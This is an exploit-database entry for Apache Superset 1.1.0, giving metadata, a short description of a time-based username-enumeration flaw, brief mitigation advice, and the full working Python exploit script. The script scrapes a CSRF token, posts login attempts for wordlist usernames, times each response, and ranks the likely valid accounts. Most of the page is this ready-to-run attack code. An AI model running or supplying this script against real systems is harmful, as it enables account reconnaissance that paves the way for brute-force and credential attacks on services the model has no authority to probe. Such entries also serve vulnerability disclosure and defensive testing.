header-logo
Suggest Exploit
vendor:
Superset
by:
Dolev Farhi
6,4
CVSS
MEDIUM
Time-Based Account Enumeration
203
CWE
Product Name: Superset
Affected Version From: 1.1.0
Affected Version To: 1.1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:apache:superset:1.1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu
2021

Apache Superset 1.1.0 – Time-Based Account Enumeration

Apache Superset 1.1.0 is vulnerable to time-based account enumeration. An attacker can use a wordlist to enumerate valid usernames by measuring the response time of the login page. The exploit requires the attacker to have access to the login page and the CSRF token. The attacker can then send a POST request with a valid CSRF token and a username from the wordlist. If the username is valid, the response time will be longer than if the username is invalid. The attacker can then sort the response times to determine which usernames are valid.

Mitigation:

Ensure that the login page does not reveal information about valid usernames. Implement rate-limiting on the login page to prevent brute-force attacks.
Source

Exploit-DB raw data:

# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu

import sys
import requests
import time

scheme = 'http'
host = '192.168.1.1'
port = 8080

# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']

url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'

session = requests.Session()

def get_csrf():
  token = None
  r = session.get(url + login_endpoint, verify=False)

  for line in r.text.splitlines():
    if 'csrf_token' in line:
      try:
        token = line.strip().split('"')[-2]
      except:
        pass
  return token

csrf_token = get_csrf()

if not csrf_token:
  print('Could not obtain CSRF token, the exploit will likely fail.')
  sys.exit(1)

data = {
  'csrf_token':csrf_token,
  'username':'',
  'password':'abc'
}

attempts = {}
found = False

for user in usernames:
  start = time.time()
  data['username'] = user
  r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
  roundtrip = time.time() - start
  attempts["%.4f" % roundtrip] = user

print('[!] Accounts existence probability is sorted from high to low')

count = 0

for key in sorted(attempts, reverse=True):
  count += 1
  print("%s. %s (timing: %s)" % (count, attempts[key], key))